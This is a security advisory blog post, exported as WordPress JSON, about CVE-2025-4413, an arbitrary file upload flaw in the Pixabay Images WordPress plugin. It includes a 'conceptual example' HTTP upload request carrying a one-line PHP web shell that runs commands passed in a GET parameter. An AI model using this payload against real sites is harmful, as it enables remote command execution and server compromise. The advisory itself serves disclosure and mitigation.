{"id":54870,"date":"2025-06-24T20:43:35","date_gmt":"2025-06-24T20:43:35","guid":{"rendered":""},"modified":"2025-09-10T11:37:53","modified_gmt":"2025-09-10T17:37:53","slug":"cve-2025-4413-arbitrary-file-upload-vulnerability-in-pixabay-images-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-4413-arbitrary-file-upload-vulnerability-in-pixabay-images-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-4413: Arbitrary File Upload Vulnerability in Pixabay Images Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The world of cybersecurity is vast and intricate, with new vulnerabilities and threats appearing frequently. One such vulnerability, CVE-2025-4413, has been identified in the Pixabay Images plugin for WordPress, a popular content management system used by millions of websites worldwide. This vulnerability allows an attacker to upload arbitrary files, enabling <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5491-acer-controlcenter-remote-code-execution-vulnerability-potential-system-compromise\/\"  data-wpil-monitor-id=\"61230\">potential remote code execution<\/a>. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49137-critical-vulnerability-in-hax-cms-php-prior-to-version-11-0-0\/\"  data-wpil-monitor-id=\"61972\">vulnerability affects all versions<\/a> up to, and including, 3.4, and poses a significant risk to any WordPress site using the Pixabay Images plugin.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46840-adobe-experience-manager-improper-authorization-vulnerability-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"61304\">vulnerability is of great concern because it could potentially lead<\/a> to a system compromise or data leakage. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6172-high-severity-permission-vulnerability-in-mobile-applications\/\"  data-wpil-monitor-id=\"61740\">severity of this vulnerability<\/a>, with a CVSS score of 8.8, underscores the potential damage an attacker could inflict on a compromised system, making it a priority for immediate mitigation.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-4413<br \/>\nSeverity: High (CVSS: 8.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Author-level access<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64255\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3104129488\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Pixabay Images <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65606\">Plugin for WordPress<\/a> | up to and including 3.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-4413 exploit takes advantage of a missing file type validation in the pixabay_upload function of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6065-arbitrary-file-deletion-vulnerability-in-image-resizer-on-the-fly-wordpress-plugin\/\"  data-wpil-monitor-id=\"61414\">Pixabay Images plugin<\/a> for WordPress. This vulnerability allows authenticated attackers, with Author-level access and above, to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5012-arbitrary-file-upload-vulnerability-in-the-workreap-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"61313\">upload arbitrary files<\/a> on the affected site&#8217;s server. As a result, an attacker could potentially upload malicious files that, when executed, give them control over the server or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25264-critical-vulnerability-allowing-unauthenticated-remote-access-due-to-overly-permissive-cors-policy\/\"  data-wpil-monitor-id=\"61927\">allow them to access<\/a> sensitive information.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4214923537\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited, using a malicious file <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62139\">upload request<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/pixabay-images\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this case, the attacker uploads a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/\"  data-wpil-monitor-id=\"61899\">PHP file<\/a> that, when executed, will run any command passed via the &#8216;cmd&#8217; GET parameter.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"64256\">mitigate this vulnerability<\/a>, users are advised to apply the vendor&#8217;s patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. These systems can be configured to block or alert on <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81242\">attempts to exploit this vulnerability<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The world of cybersecurity is vast and intricate, with new vulnerabilities and threats appearing frequently. One such vulnerability, CVE-2025-4413, has been identified in the Pixabay Images plugin for WordPress, a popular content management system used by millions of websites worldwide. This vulnerability allows an attacker to upload arbitrary files, enabling potential remote code execution. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54870","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54870","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=54870"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54870\/revisions"}],"predecessor-version":[{"id":73692,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54870\/revisions\/73692"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=54870"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=54870"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=54870"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=54870"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=54870"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=54870"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=54870"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=54870"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=54870"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}